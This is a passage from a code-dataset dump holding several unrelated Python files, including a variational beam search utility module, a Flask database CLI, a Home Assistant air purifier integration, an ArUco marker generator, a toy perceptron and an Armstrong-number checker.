file=output)\n","repo_name":"veevang/midi-compatible-keyboard-coursework-fchsi","sub_path":"2.Tools/noteFormatConversion/rhythm.py","file_name":"rhythm.py","file_ext":"py","file_size_in_byte":1115,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"70755746752","text":"\nfrom datetime import date\nimport threading\n\nclass StoreData(object): \n \n def __init__(self, modename, mode=\"a+\", v_date=None, path=None):\n if v_date== None:\n v_date = date.today()\n if path == None:\n self.m_filename=\"%s%s_%s.data\"%(r\"../resource/\", v_date, modename)\n else:\n self.m_filename=\"%s%s_%s.data\"%(path, v_date, modename)\n self.m_fp=open(self.m_filename, mode)\n if self.m_fp == None:\n print(\"open filename[%s] failed.\"%(self.m_filename))\n assert(0)\n self.m_lock=threading.Lock()\n def __del__(self):\n if self.m_fp != None:\n self.m_fp.close()\n def record(self, data):\n self.m_lock.acquire()\n self.m_fp.write(data)\n self.m_lock.release()\n def record_list(self, data_list):\n self.m_lock.acquire()\n self.m_fp.writelines(data_list)\n self.m_lock.release()\n def read_list(self):\n return self.m_fp.readline()\n \n\n\ndef record_data_list(path, data_list):\n fp = open(path, \"wb+\")\n fp.writelines(data_list)\n fp.close();\n\n\n\n\n\nif __name__ == '__main__':\n x=[]\n x.append([\"xxx\"])\n x.append([\"aaa\"])\n print(sorted(x, key=lambda student : student[0]))\n z=0.01000\n print(z)\n print(\"%.2f\"%(z))\n \n \n pass","repo_name":"lhllacp/MY_STK","sub_path":"CommonAPI/StoreData.py","file_name":"StoreData.py","file_ext":"py","file_size_in_byte":1321,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"3356629273","text":"import os\nimport sys\nfrom datetime import datetime\nimport pickle\nimport itertools\nimport numpy as np\nimport tensorflow as tf\nimport tensorflow_probability as tfp\nfrom tensorflow.keras import regularizers\ntfd = tfp.distributions\n\ndef print_log(*args, **kwargs):\n print(\"[{}]\".format(datetime.now()), *args, **kwargs)\n sys.stdout.flush()\n\ndef save_weights(weights_list, outfile_name='weights.pkl'):\n # save with the binary protocol\n with open(outfile_name, 'wb') as outfile:\n pickle.dump(weights_list, outfile, pickle.HIGHEST_PROTOCOL)\n\ndef load_weights(infile_name='weights.pkl'):\n # save with the binary protocol\n print_log('load weights from ' + infile_name)\n with open(infile_name, 'rb') as infile:\n weights_list = pickle.load(infile)\n return weights_list\n\ndef _initial_multivariate_normal_fn_wrapper(prior_var):\n print(f\"Use zero mean multivariate normal prior with {prior_var} variance.\")\n def _initial_multivariate_normal_fn(dtype, shape, name, \n trainable, add_variable_fn):\n del name, trainable, add_variable_fn # unused\n dist = tfd.Normal(\n loc=tf.zeros(shape, dtype), \n scale=dtype.as_numpy_dtype(np.sqrt(prior_var)))\n batch_ndims = tf.size(dist.batch_shape_tensor())\n return tfd.Independent(\n dist, reinterpreted_batch_ndims=batch_ndims)\n return _initial_multivariate_normal_fn\n\ndef ind_multivariate_normal_fn(prior_var=1e-2, mu=None, sigma=None):\n \"\"\"A closure: return the function used for `kernel_prior_fn`.\n See `https://github.com/tensorflow/probability/blob/v0.11.0\n /tensorflow_probability/python/layers/util.py#L202-L224`\n \"\"\"\n if mu is not None and sigma is not None:\n assert mu.shape == sigma.shape\n else:\n # use multivariate normal prior with specified prior variance\n return _initial_multivariate_normal_fn_wrapper(prior_var)\n\n def _fn(dtype, shape, name, trainable, add_variable_fn):\n \"\"\"Creates multivariate `Normal` distribution.\n Args:\n dtype: Type of parameter's event.\n shape: Python `list`-like representing the parameter's event shape.\n name: Python `str` name prepended to any created (or existing)\n `tf.Variable`s.\n trainable: Python `bool` indicating all created `tf.Variable`s should be\n added to the graph collection `GraphKeys.TRAINABLE_VARIABLES`.\n add_variable_fn: `tf.get_variable`-like `callable` used to create (or\n access existing) `tf.Variable`s.\n Returns:\n Multivariate `Normal` distribution.\n \"\"\"\n del name, trainable, add_variable_fn # unused\n assert mu.shape == tuple(shape)\n dist = tfd.Normal(\n loc=dtype.as_numpy_dtype(mu), scale=dtype.as_numpy_dtype(sigma))\n batch_ndims = tf.size(dist.batch_shape_tensor())\n return tfd.Independent(\n dist, reinterpreted_batch_ndims=batch_ndims)\n return _fn\n\n\nclass LaplacePriorRegularizer(regularizers.Regularizer):\n\n def __init__(self, strength, mu=0., prec=1.):\n '''If `mu` and `prec` are not provided, standard L2 normalized is used.\n '''\n self.strength = strength\n self.mu = mu\n self.prec = prec\n\n def __call__(self, x):\n return (self.strength/2) * tf.reduce_sum(\n self.prec * tf.square(x - self.mu))\n\n\ndef broaden_weights(prior_m, prior_s, diffusion, mult_diff=True):\n if mult_diff:\n for i in range(len(prior_s)):\n prior_s[i] *= diffusion\n else:\n for i in range(len(prior_s)):\n prior_s[i] += diffusion\n print_log(\"Weights are broadened.\")\n return (prior_m, prior_s)\n\n\n# beam diversification\ndef hypothesis_distance(a, b):\n '''Calcualte a distance metric between two sequences of change points.\n\n Both `a` and `b` must be arrays of zeros and ones (or `True`s and `False`s)\n of equal length >= 1 and the first entry of both `a` and `b` must be one\n (or `True`).\n\n The function returns:\n `0.5 * (||a||_1 + ||b||_1) * W(a / ||a||_1, b / ||b||_1)`\n where ||.||_1 denotes one-norm and W(., .) is the Wasserstein distance\n between two probability distributions. Thus, the function calculates\n properly normalized probability distributions based on the binary\n sequences `a` and `b`, calculates their Wasserstein distance, and then\n rescales with the average number of change points in `a` and `b`.\n\n The Wasserstein distance is calculated with metric `g(t, t') = (t - t')^2`.\n \n Complexity: `O(T)` where `T == len(a) == len(b)` is the number of time steps.\n '''\n\n assert len(a) == len(b)\n assert len(a) >= 1\n assert a[0] == 1\n assert b[0] == 1\n # Additionally, both `a` and `b` may only contain zeros or ones, but we\n # don't check for that.\n\n a = a.astype(np.int32, copy=True)\n b = b.astype(np.int32, copy=True)\n norm_a = a.sum()\n norm_b = b.sum()\n\n # Rescale `a` and `b` such that both have norm `norm_a * norm_b`.\n a *= norm_b\n b *= norm_a\n\n # Scan through `a` and `b` concurrently and move mass around to keep\n # `abs(excess_a)` as small as possible\n cursor_a = 0\n cursor_b = 0\n distance = 0\n while cursor_a != len(a) and cursor_b != len(a):\n if b[cursor_b] >= a[cursor_a]:\n # Move `a[cursor_a]` from `a` to `b`.\n distance += a[cursor_a] * (cursor_a - cursor_b)**2\n b[cursor_b] -= a[cursor_a]\n cursor_a += 1\n else:\n # Move `b[cursor_b]` from `a` to `b`.\n distance += b[cursor_b] * (cursor_a - cursor_b)**2\n a[cursor_a] -= b[cursor_b]\n cursor_b += 1\n\n # Return a rescaled (floating point) variant of the distance that undoes the initial scaling\n # by `norm_a * norm_b` and then multiplies with the average of `norm_a` and `norm_b`.\n return 0.5 * (1.0 / norm_b + 1.0 / norm_a) * distance\n\ndef hamming_distance(a, b):\n return np.sum(np.abs(a-b))\n\ndef reject_probability(x):\n '''Return the probability of rejecting to select hypotheses from the same \n parent.\n\n The distribution follows Weibull distribution with `lambda = 10` and `k=5`.\n As time goes, the probability increases.\n '''\n assert x >= 0\n return 1 - np.exp(-(x/10)**5)\n\ndef is_reject(x, rng):\n rej_prob = reject_probability(x)\n if rng.uniform() < rej_prob:\n return True\n else:\n return False\n\ndef is_one_parent_dominate(best_selection):\n '''Utilizing the fact that candidates are arranged with \n [parent1_0, parent1_1, parent2_0, parent2_1, ...]\n '''\n parents = best_selection // 2\n if len(set(parents)) < len(parents):\n return True\n return False\n\ndef beam_diversity(beam):\n '''Calcualate the diversity measure of the hypotheses in the given beam.\n \n This function will probably not be needed for Variational Beam Search.\n It is exposed only for completeness and for debugging. You probably want\n to call `find_optimal_beam` instead.\n \n The argument `beam` must be a numpy tensor of shape `(K, T)` where `K >= 2`\n is the beam size and `T >= 1` is the number of time steps. Each row must be\n a sequence of `T` zeros and ones (or `True`s and `Falses`) with the\n first entry always beeing a one (or `True`). Further, all rows of\n `beam` must be different from each other.\n \n Returns the diversity score (higher means more diverse).\n \n Complexity: `O(K**2 * T)`\n '''\n \n K, T = beam.shape\n assert K >= 2\n assert T >= 1\n \n return np.log([\n hypothesis_distance(beam[i], beam[j]) for i in range(K) for j in range(i)\n ]).sum()\n\ndef maximize_diversity(candidates, \n beam_size, \n individual_scores, \n diversity_importance, \n rng=None):\n '''Return the `beam_size` optimal of `candidates`.\n\n Maximizes the trade-off between diversity among hypotheses and individual\n scores of each hypothesis.\n \n Args:\n candidates: tensor of shape `(N, T)` where `N` is the number of\n candidates and `T >= 1` is the number of time steps. Each row must be a\n sequence of `T` zeros and ones (or `True`s and `Falses`) with the first\n entry always beeing a one (or `True`). Further, all rows must be\n different from each other.\n beam_size: the number of hyptheses that can be selected from\n candidates. If `beam_size >= N` then no truncation is needed and\n the function returns the tensor `[0, 1, ..., N - 1]`.\n individual_scores: real valued tensor of shape `(N,)`. Each entry\n describes an individual \"importance\" of each hypothesis, e.g., its\n posterior log-probability. See objective function below.\n diversity_importance: positive scalar that controls the trade-off\n between diversity and individual scores. See objective function below.\n\n Returns:\n A tuple `(indices, diversity)`. Here, `indices` is an integer tensor of\n size `min(beam_size, N)` of pairwise disjunct indices into the rows of\n `candidates`. Further, `diversity = beam_diversity(candidates[diversity])`.\n \n The tensor `indices` maximizes the following objective function:\n\n `objective = (\n individual_scores[ret].sum() +\n diversity_importance * beam_diversity(candidates[ret, :])`\n \n Complexity: `O(N**2 * T + 2**N)`, where the first term comes from calculating\n all pairwise distances and the second term comes from trying out all\n combinations.\n '''\n \n N, T = candidates.shape\n assert T >= 1\n \n if beam_size >= N:\n # No truncation necessary, all candidates fit into the beam.\n return np.arange(N), 0\n\n if rng is None:\n rng = np.random.RandomState(2**31)\n \n # Calculate all pairwise log-distances (and fill up with zeros\n # so that it has no effect when taking the sum).\n pairwise_dists = np.array([[\n hamming_distance(candidates[i], candidates[j]) if i > j else 0\n for i in range(N)] for j in range(N)])\n \n best_selection = None\n best_score = float('-Inf')\n diversity = None\n while True:\n for selection in itertools.combinations(range(N), beam_size):\n selection = np.array(selection)\n current_diversity = pairwise_dists[selection[:, None], selection[None, :]].sum()\n # Normalize the diversity such that it scales to the situation of \n # `beam_size`=2, where the number of hypothesis is 2 and the number \n # of pairwise distance is 1.\n # Thus `diversity_importance` applies for different `beam_size`.\n current_diversity /= (beam_size - 1)\n score = individual_scores[selection].sum() + diversity_importance * current_diversity\n if score > best_score:\n best_score = score\n best_selection = selection\n diversity = current_diversity * (beam_size - 1)\n if is_one_parent_dominate(best_selection):\n print_log(\"One parent tries to dominate:\")\n if is_reject(T, rng):\n # reject this dominate\n # increase `diversity_importance` and try again\n diversity_importance *= 1.2\n print_log(\"\\tReject and new `diversity_importance` is \", \n diversity_importance)\n else:\n print_log(\"\\tAgree and current task id: \", T)\n break\n else:\n break\n\n return best_selection, diversity\n\ndef find_optimal_beam(scores, beam_size, discard_fraction = 1.0 / 3.0):\n '''Return the indices of the `beam_size` optimal hypotheses.\n\n Args:\n scores: vector of scores (e.g., log probabilities or ELBOs) of each\n hypothesis. Must have an even length and the two hypotheses with the\n same parent always have to come together, i.e.,\n scores = [\n score of the first child of the first parent,\n score of the second child of the first parent,\n score of the first child of the second parent,\n score of the second child of the second parent,\n score of the first child of the third parent,\n score of the second child of the third parent,\n ]\n beam_size: the number of hyptheses that can be selected from candidates.\n \n discard fraction: fraction of the lowest scroed hypotheses that will be\n discarded before we even try to maximize diversity. More precisely,\n this is the fraction that will be discarded *in the steady state*,\n i.e., once `len(scores) == 2 * beam_size`. Must be between 0 and 0.5.\n\n Returns:\n An array of indices into argument `scores` that defines the optimal beam.\n '''\n assert 0 < discard_fraction\n assert discard_fraction < 0.5\n if beam_size >= len(scores):\n return np.arange(len(scores))\n num_parents = len(scores) // 2\n assert scores.shape == (2 * num_parents,)\n assert num_parents <= beam_size\n \n # Keep track of the hypotheses' parents\n parents = np.array([(i, i) for i in range(num_parents)]).flatten()\n \n # Discard `discard_fraction` of the hypotheses (except that we don't have to discard\n # any hypothesis in the first few steps when there are only few hypotheses)\n num_keep = min(len(scores), round((1.0 - discard_fraction) * (2 * beam_size)))\n candidate_indices = np.argsort(-scores)[:num_keep]\n candidate_scores = scores[candidate_indices]\n candidate_parents = parents[candidate_indices]\n \n # Find out how many different parents are among the candidates (but at most `beam_size`).\n max_num_parents = min(beam_size, len(set(candidate_parents)))\n \n # Out of all ways to choose `beam_size` candidates, consider only the ones with\n # `max_num_parents` different parents, and then take the one with maximum total score.\n best_indices = None\n best_score = float('-Inf')\n resulting_beam_size = min(beam_size, len(candidate_scores))\n for indices in itertools.combinations(range(len(candidate_scores)), resulting_beam_size):\n indices = np.array(np.array(indices))\n if len(set(candidate_parents[indices])) == max_num_parents:\n score = candidate_scores[indices].sum()\n if score > best_score:\n best_indices = indices\n best_score = score\n\n return candidate_indices[best_indices]","repo_name":"mandt-lab/variational-beam-search","sub_path":"bayesian_deep_learning/libs/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":14657,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"60"} +{"seq_id":"40661613765","text":"#! /usr/bin/env python3.3\ndef contar( l, x ):\n\t'''cuenta cuantos caracteres l hay en la cadena x'''\n\tc = 0\n\tfor ch in x:\n\t\tif ch == l:\n\t\t\tc += 1\n\treturn c\n\t\nprint( \"Aparece: \", contar( input(\"Carater buscado: \"), input(\"Cadena de texto: \") ) )\n","repo_name":"KelvinHelmut/Grupo-Estudio-Python","sub_path":"Unidad 6 y 7/Ejercicios Libro/Unidad 6/Sem6Lib4+aek6.py","file_name":"Sem6Lib4+aek6.py","file_ext":"py","file_size_in_byte":244,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"1734182674","text":"from __future__ import unicode_literals\n\nimport os\nimport sys\nfrom functools import partial\n\nimport click\nfrom flask import current_app\nfrom flask.cli import with_appcontext\nfrom flask_migrate.cli import db as flask_migrate_cli\nfrom terminaltables import AsciiTable\n\nimport snms\nfrom snms.cli.core import cli_group\nfrom snms.core.db import db\nfrom snms.core.db.sqlalchemy.migration import migrate, prepare_db\nfrom snms.utils.console import cformat\nfrom snms.database import tsdb\n\n\n@cli_group()\n@click.option('--plugin', metavar='PLUGIN', help='Execute the command for the given plugin')\n@click.option('--all-plugins', is_flag=True, help='Execute the command for all plugins')\n@click.pass_context\n@with_appcontext\ndef cli(ctx, plugin=None, all_plugins=False):\n migrate.init_app(current_app, db, os.path.join(current_app.root_path, 'migrations'))\n\n\n@cli.command()\ndef prepare():\n \"\"\"Initializes a new database (creates tables, sets alembic rev to HEAD)\"\"\"\n tsdb.create_defaults()\n return prepare_db()\n\n\n@cli.command()\ndef purge():\n \"\"\"Remove deleted companies, sensors, and other data.\"\"\"\n print(cformat('%{yellow!}*** DANGER'))\n print(cformat('%{yellow!}***%{reset} '\n '%{red!}This operation will %{yellow!}PERMANENTLY ERASE %{red!} data!%{reset}'))\n from snms.modules.sensors import Sensor, SensorType\n deleted_sensors = Sensor.find(Sensor.deleted).all()\n tabledata = [['ID', 'Name', 'Created On']]\n for sensor in deleted_sensors:\n tabledata.append([str(sensor.id), sensor.name, sensor.created_at])\n table = AsciiTable(tabledata, cformat('%{white!}Deleted Sensors%{reset}'))\n print(table.table)\n\n\ndef _stamp(plugin=None, revision=None):\n table = 'alembic_version' if not plugin else 'alembic_version_plugin_{}'.format(plugin)\n db.session.execute('DELETE FROM {}'.format(table))\n if revision:\n db.session.execute('INSERT INTO {} VALUES (:revision)'.format(table), {'revision': revision})\n\n\ndef _safe_downgrade(*args, **kwargs):\n func = kwargs.pop('_func')\n print(cformat('%{yellow!}*** DANGER'))\n print(cformat('%{yellow!}***%{reset} '\n '%{red!}This operation may %{yellow!}PERMANENTLY ERASE %{red!}some data!%{reset}'))\n if current_app.debug:\n skip_confirm = os.environ.get('SNMS_ALWAYS_DOWNGRADE', '').lower() in ('1', 'yes')\n print(cformat('%{yellow!}***%{reset} '\n \"%{green!}Debug mode is active, so you probably won't destroy valuable data\"))\n else:\n skip_confirm = False\n print(cformat('%{yellow!}***%{reset} '\n \"%{red!}Debug mode is NOT ACTIVE, so make sure you are on the right machine!\"))\n if not skip_confirm and input(cformat('%{yellow!}***%{reset} '\n 'To confirm this, enter %{yellow!}YES%{reset}: ')) != 'YES':\n print(cformat('%{green}Aborted%{reset}'))\n sys.exit(1)\n else:\n return func(*args, **kwargs)\n\n\ndef _setup_cli():\n for command in flask_migrate_cli.commands.values():\n if command.name == 'init':\n continue\n if command.name == 'downgrade':\n command.callback = partial(with_appcontext(_safe_downgrade), _func=command.callback)\n cli.add_command(command)\n\n_setup_cli()\ndel _setup_cli\n","repo_name":"baseapp/SwarmSense-IoT-Platform","sub_path":"snms/cli/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":3300,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"60"} +{"seq_id":"1280051590","text":"import cv2 as cv\r\nfrom cv2 import aruco\r\n\r\n# dictionary to specify type of the marker\r\nmarker_dict = aruco.getPredefinedDictionary(aruco.DICT_5X5_250)\r\n\r\n# MARKER_ID = 0\r\nMARKER_SIZE = 400 # pixels\r\n\r\n# generating unique IDs using for loop\r\nfor id in range(20): # genereting 20 markers\r\n # using funtion to draw a marker\r\n marker_image = aruco.generateImageMarker(marker_dict, id, MARKER_SIZE)\r\n cv.imshow(\"img\", marker_image)\r\n cv.imwrite(f\"markers/marker_{id}.png\", marker_image)\r\n # cv.waitKey(0)\r\n # break\r\n","repo_name":"SiliconJelly/OpenCV","sub_path":"Distance Estimation/1. generate_markers/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"} +{"seq_id":"22522228223","text":"from starter import * \nimport os\nfrom starmassvstime import starmassvstime\nclass starmasscomp: \n def __init__(self,num):\n self.num = num\n self.no_halo = starmassvstime(self.num)\n os.chdir(\"../7_level_tweaked_halo\")\n self.halo = starmassvstime(self.num)\n os.chdir(\"../7_level_tweaked\")\n \n def plot(self): \n plt.plot(self.halo.t_arr, self.halo.sm_arr, label = \"halo\")\n plt.plot(self.no_halo.t_arr, self.no_halo.sm_arr, label = \"no halo\")\n plt.xlabel('t [Myr]')\n plt.ylabel(r'M$_[\\odot]$')\n plt.title(\"Total Star Mass vs Time\")\n plt.semilogy()\n plt.legend()\n plt.savefig('frames/starmasscomp.png')\n\n","repo_name":"jacob-strack/galaxy-analysis","sub_path":"starmasscomp.py","file_name":"starmasscomp.py","file_ext":"py","file_size_in_byte":696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"10285025556","text":"\"\"\"\nAirx空气净化器插件\n\"\"\"\nimport logging\n\nimport requests\nimport time\nimport datetime\n\nfrom homeassistant.components.fan import (FanEntity)\nfrom homeassistant.util import Throttle\n\n_LOGGER = logging.getLogger(__name__)\n\nSCAN_INTERVAL = datetime.timedelta(seconds=5)\n\nDEFAULT_NAME = 'airx'\n\nATTR_PM25 = 'pm25'\nATTR_OUTSIDE_PM25 = 'outside_pm25'\nATTR_FILTER_REMAIN = 'filter_remain'\nATTR_SCREEN_LIGHT = 'screen_light'\nATTR_CHILDREN_LOCK = 'children_lock'\n\nSPEED_OFF = '关闭'\nSPEED_AUTO = '自动'\nSPEED_SILENT = '静音'\nSPEED_LOW = '低'\nSPEED_MEDIUM = '中'\nSPEED_HIGH = '高'\nSPEED_INTOLERABLE = '最高'\n\nSPEED_MAP = {\n 1: SPEED_SILENT,\n 2: SPEED_LOW,\n 3: SPEED_MEDIUM,\n 4: SPEED_HIGH,\n 5: SPEED_INTOLERABLE,\n}\nCONTROL_MAP = {\n SPEED_AUTO: [0, 1],\n SPEED_SILENT: [3, 1],\n SPEED_LOW: [3, 2],\n SPEED_MEDIUM: [3, 3],\n SPEED_HIGH: [3, 4],\n SPEED_INTOLERABLE: [3, 5]\n}\n\n\ndef setup_platform(hass, config, add_devices_callback, discovery_info=None):\n name = config.get('name') or DEFAULT_NAME\n token = config.get('token')\n user_id = config.get('user_id')\n device_id = config.get('device_id')\n\n _LOGGER.info('============= airx setup -> name: %s =============', name)\n add_devices_callback([\n AirxFan(hass, name, token, user_id, device_id, AirxController(hass, token, user_id, device_id))\n ])\n\n\nclass AirxController(object):\n lock = None\n\n def __init__(self, hass, token, user_id, device_id) -> None:\n self._base_data = {\n 'userId': user_id,\n 'token': token,\n 'device_id': device_id,\n }\n\n def open(self) -> bool:\n _LOGGER.info('============= airx open =============')\n self.lock = time.time()\n try:\n api = 'http://luxcar.com.cn/airx/airx_iot_reportup/web/equipment/DeviceOnOrDown'\n res = requests.post(api, data=dict(self._base_data, **{'standby': 0}))\n json = res.json()\n # _LOGGER.info('open: %s', json)\n if json['success'] is True:\n return True\n except BaseException:\n pass\n return False\n\n def close(self):\n _LOGGER.info('============= airx close =============')\n self.lock = time.time()\n try:\n api = 'http://luxcar.com.cn/airx/airx_iot_reportup/web/equipment/DeviceOnOrDown'\n res = requests.post(api, data=dict(self._base_data, **{'standby': 1}))\n json = res.json()\n # _LOGGER.info('close: %s', json)\n if json['success'] is True:\n return True\n except BaseException:\n pass\n return False\n\n def set_speed(self, speed):\n _LOGGER.info('============= airx set speed: %s =============', speed)\n self.lock = time.time()\n try:\n api = 'http://luxcar.com.cn/airx/airx_iot_reportup/web/equipment/DeviceControl'\n\n set_mode = CONTROL_MAP[speed][0]\n set_speed = CONTROL_MAP[speed][1]\n\n res = requests.post(\n api,\n data=dict(self._base_data, **{\n 'mode': set_mode,\n 'speed': set_speed\n }))\n\n json = res.json()\n # _LOGGER.info('set_speed: %s, %s, %s', set_mode, set_speed, json)\n if json['success'] is True:\n return True\n except BaseException:\n pass\n return False\n\n @property\n def status(self) -> dict:\n _LOGGER.info('============= airx status =============')\n if (self.lock is not None) and (time.time() - self.lock < 5):\n _LOGGER.info('============= airx status return =============')\n return None\n try:\n api = 'http://luxcar.com.cn/airx/airx_iot_reportup/web/equipment/loadDeviceData'\n res = requests.post(api, data=dict(self._base_data))\n json = res.json()\n # _LOGGER.info('status: %s', json)\n if json['success'] is True:\n if json['data']['standby'] == 0:\n if json['data']['PuriOperationMode'] == 0:\n speed = SPEED_AUTO\n else:\n speed = SPEED_MAP[json['data']['AirSpeed']]\n else:\n speed = SPEED_OFF\n return {\n 'available': True,\n 'speed': speed,\n 'state_remain': json['data']['FilterRemain'],\n 'state_pm25': json['data']['pm25'],\n 'state_outside_pm25': json['data']['pm25_city'],\n 'state_light': json['data']['Inlight'],\n 'state_lock': json['data']['Childrenlock']\n }\n except BaseException:\n pass\n return {\n 'available': False,\n 'speed': None,\n 'state_remain': None,\n 'state_pm25': None,\n 'state_outside_pm25': None,\n 'state_light': None,\n 'state_lock': None\n }\n\n\nclass AirxFan(FanEntity):\n def __init__(self, hass, name: str, token: str, user_id: str, device_id: str, controller) -> None:\n self._hass = hass\n self._available = True\n self._name = name\n self._controller = controller\n\n self._speed = SPEED_OFF\n self._updatetime = None\n self._state_pm25 = None\n self._state_remain = None\n self._state_outside_pm25 = None\n self._state_light = None\n self._state_lock = None\n\n @property\n def name(self) -> str:\n return self._name\n\n @property\n def available(self) -> bool:\n return self._available\n\n @property\n def should_poll(self):\n return True\n\n @property\n def speed(self) -> str:\n return self._speed\n\n @property\n def speed_list(self) -> list:\n return [\n SPEED_OFF, SPEED_AUTO, SPEED_SILENT, SPEED_LOW, SPEED_MEDIUM,\n SPEED_HIGH, SPEED_INTOLERABLE\n ]\n\n def turn_on(self, speed: str, **kwargs) -> None:\n if speed == SPEED_OFF:\n self.turn_off()\n return\n if speed is None:\n speed = SPEED_AUTO\n if self._speed == SPEED_OFF:\n self._controller.open()\n if self._controller.set_speed(speed) is True:\n self._speed = speed\n self.schedule_update_ha_state()\n\n def turn_off(self, **kwargs) -> None:\n if self._controller.close() is True:\n self._speed = SPEED_OFF\n self.schedule_update_ha_state()\n\n @property\n def is_on(self) -> bool:\n return SPEED_OFF != self._speed\n\n @Throttle(SCAN_INTERVAL)\n def update(self) -> None:\n\n data = self._controller.status\n\n if data is None:\n return\n self._available = data['available']\n self._speed = data['speed']\n self._state_remain = data['state_remain']\n self._state_outside_pm25 = data['state_outside_pm25']\n self._state_pm25 = data['state_pm25']\n self._state_light = data['state_light']\n self._state_lock = data['state_lock']\n\n @property\n def device_state_attributes(self):\n return {\n ATTR_PM25: self._state_pm25,\n ATTR_OUTSIDE_PM25: self._state_outside_pm25,\n ATTR_FILTER_REMAIN: self._state_remain,\n ATTR_SCREEN_LIGHT: self._state_light,\n ATTR_CHILDREN_LOCK: self._state_lock\n }\n","repo_name":"meishild/hass-custom-components","sub_path":"ha-airx/custom_components/airx/fan.py","file_name":"fan.py","file_ext":"py","file_size_in_byte":7443,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"60"} +{"seq_id":"74267095871","text":"''' PERCEPTRON!!! '''\n'''\n Tried on desktop, but i think I got it better this time.\n'''\nimport numpy as np\nfrom random import sample, shuffle\nfrom math import e\n\n\nclass Perceptron:\n\n def __init__(self,datadir,langs,A=\"bin\",E=\"bin\"):\n self.langs = {langs[l]:l for l in range(len(langs))}\n self.keys = {l:langs[l] for l in range(len(langs))}\n self.trainset = self._getSentences(datadir,self.langs,\"train\")\n self.testset = self._getSentences(datadir,self.langs,\"test\")\n self.allfeats = self._genFeats(' '.join([l[1] for l in self.trainset]))\n self.E = E\n self.A = A\n self.w = np.random.rand(len(self.allfeats))\n if E == \"bin\":\n self.w = np.zeros(len(self.allfeats),dtype=int)\n\n def _getSentences(self,datadir,langs,mode):\n combined = []\n for lang in langs:\n lines = [line.strip() for line in open(datadir+lang+mode+\".txt\") if line != '']\n for line in lines:\n for l in line.split('. '):\n if l != '':\n combined.append((langs[lang],l))\n return combined\n\n def _genFeats(self,text):\n bigrams = list(zip(text,text[1:]))\n feats = dict()\n b = 0\n for bg in bigrams:\n if bg not in feats:\n feats[bg] = b\n b += 1\n return feats\n\n def _encode(self,sent):\n bigrams = list(zip(sent,sent[1:]))\n vect = np.zeros(len(self.allfeats),dtype=int)\n for bg in bigrams:\n if bg in self.allfeats:\n vect[self.allfeats[bg]] = 1\n return vect\n\n def _A(self,ttl):\n if self.A == \"bin\":\n if ttl > 0:\n return 0\n return 1\n elif self.A == \"sig\":\n return 1 / (1 + e**(-ttl))\n\n def _E(self,d,y):\n if self.E == \"bin\":\n return d - y\n elif self.E == \"MSE\":\n return (1/len(self.w))*(d-y)**2\n\n def _dA(self,out):\n if self.A == \"bin\":\n return 1\n elif self.A == \"sig\":\n return out * (1 - out)\n\n def _dE(self,d,w,x,err,out):\n if self.E == \"bin\":\n return x*w\n elif self.E == \"MSE\":\n n = len(self.w)\n xw = self._A(w*x)\n derived = self._dA(out)\n change = (-(x) / n) * (err) * derived\n if x > 0:\n print(\"\\nout\",out)\n print(\"x:\",x)\n print(\"err:\",err)\n print(\"derived:\",derived)\n print(\"change:\",change)\n return change\n\n def _forward(self,vect):\n out = self._A(np.dot(vect,self.w))\n return out\n\n def _backward(self,d,vect,out):\n err = self._E(d,out)\n for w in range(len(self.w)):\n self.w[w] += self._dE(d,self.w[w],vect[w],err,out)\n\n def train(self,iters):\n for i in range(iters):\n print(\"\\niter:\",i)\n d, s = sample(self.trainset,1)[0]\n vect = self._encode(s)\n out = self._forward(vect)\n self._backward(d,vect,out)\n print(out)\n\n def test(self,num):\n shuffle(self.testset)\n for i in range(num):\n d, s = self.testset[i]\n vect = self._encode(s)\n y = self._forward(vect)\n\n def testall(self):\n c = 0\n ttl = len(self.testset)\n for item in self.testset:\n d, s = item\n vect = self._encode(s)\n y = self._forward(vect)\n if round(y) == d:\n c += 1\n print(f\"correct: {c}, total: {ttl}, accuracy: {c/ttl}\")\n\n\n\n\n\n\nif __name__ == \"__main__\":\n datadir = \"langdata/\"\n langs = [\"en\",\"de\"]\n P = Perceptron(datadir,langs,A=\"sig\",E=\"MSE\")\n '''print(P.trainset)\n print(len(P.trainset))\n print(P.allfeats)'''\n '''encoded = P._encode(P.testset[0][1])\n print(encoded)'''\n #print(P.w[:10])\n P.train(20)\n #P.test(5)\n P.testall()\n #print(P.w[:10])","repo_name":"alistair-lilley/ML-Practice","sub_path":"basics/_old_percept.py","file_name":"_old_percept.py","file_ext":"py","file_size_in_byte":4091,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"75397770432","text":"import tkinter as tk\n\nroot= tk.Tk()\n\ncanvas1 = tk.Canvas(root, width = 400, height = 300, relief = 'raised')\ncanvas1.pack()\n\nentry1 = tk.Entry (root) \ncanvas1.create_window(200, 140, window=entry1)\n\nlabel2 = tk.Label(root, text='Please input your Number?:')\nlabel2.config(font=('helvetica', 10))\ncanvas1.create_window(200, 100, window=label2)\n\ndef AmstrongNumber(): \n x1 = entry1.get()\n lengthOfInput = len(x1) #length of the input \n x1 = int(x1)\n copyOfTheUserInput = x1\n result = 0\n\n while(x1!=0):\n digit = x1 % 10\n result = result + pow(digit,lengthOfInput)\n x1 = int(x1/10)\n if(result == copyOfTheUserInput):\n label1 = tk.Label(root, text=\"This is an Amstrong Number\")\n label1.config(font=('helvetica', 14))\n canvas1.create_window(200, 230, window=label1)\n print(\"This is an Amstrong Number\")\n else:\n label1= tk.Label(root, text=\"This is not an Amstrorng Number\")\n label1.config(font=('helvetica', 14))\n canvas1.create_window(200, 230, window=label1)\n print(\"This is not an Amstrong Number\")\n \nbutton1 = tk.Button(text='Check if its an Amstrong Number', command=AmstrongNumber,bg='brown', fg='white')\ncanvas1.create_window(200, 180, 